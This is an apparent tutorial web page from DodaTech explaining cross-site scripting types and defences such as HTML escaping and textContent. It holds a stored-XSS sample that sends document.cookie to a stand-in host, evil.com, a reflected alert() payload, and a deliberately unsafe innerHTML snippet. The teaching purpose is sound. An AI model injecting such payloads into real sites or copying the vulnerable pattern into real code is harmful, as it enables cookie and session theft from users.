Skip to content
XSS — Explained with Examples

XSS — Explained with Examples

DodaTech Updated Jun 15, 2026 2 min read

XSS (Cross-Site Scripting) is a security vulnerability where attackers inject malicious client-side scripts into web pages viewed by other users.

XSS stands for Cross-Site Scripting. It allows attackers to bypass the same-origin policy and execute scripts in a victim’s browser, potentially stealing cookies, session tokens, or personal data.

Types of XSS

Stored XSS — the malicious script is permanently stored on the server (e.g., in a comment, forum post, or user profile).

<!-- Attacker posts this in a comment field -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

When other users view the page, the script executes and sends their cookies to the attacker.

Reflected XSS — the script is part of the request and reflected back in the response (e.g., in a search result).

https://example.com/search?q=<script>alert('XSS')</script>

DOM-based XSS — the vulnerability exists in client-side JavaScript that processes user input unsafely.

// VULNERABLE — injecting user input directly into DOM
document.getElementById('results').innerHTML =
  '<h3>Results for: ' + userInput + '</h3>';

Prevention

// SECURE — escape user input before inserting into HTML
function escapeHtml(text) {
  const div = document.createElement('div');
  div.appendChild(document.createTextNode(text));
  return div.innerHTML;
}

// SAFE: user input is treated as text, not HTML
document.getElementById('results').innerHTML =
  '<h3>Results for: ' + escapeHtml(userInput) + '</h3>';

// Even better: use textContent instead of innerHTML
document.getElementById('results').textContent =
  'Results for: ' + userInput;

Real-World Analogy

XSS is like a mailroom that posts every letter on a public bulletin board without checking the contents. Someone sends a letter that looks innocent but has hidden instructions: “When you read this, text your bank password to 555-1234.” Every person who reads the bulletin board follows the instructions. The solution is to check all mail (sanitize input) and display only the message text, not executable instructions (escape output).

Related Terms

CSRF, SQL Injection, CORS, WAF, OWASP

Built by the developers of DodaTech

Doda Browser, DodaZIP & Durga Antivirus Pro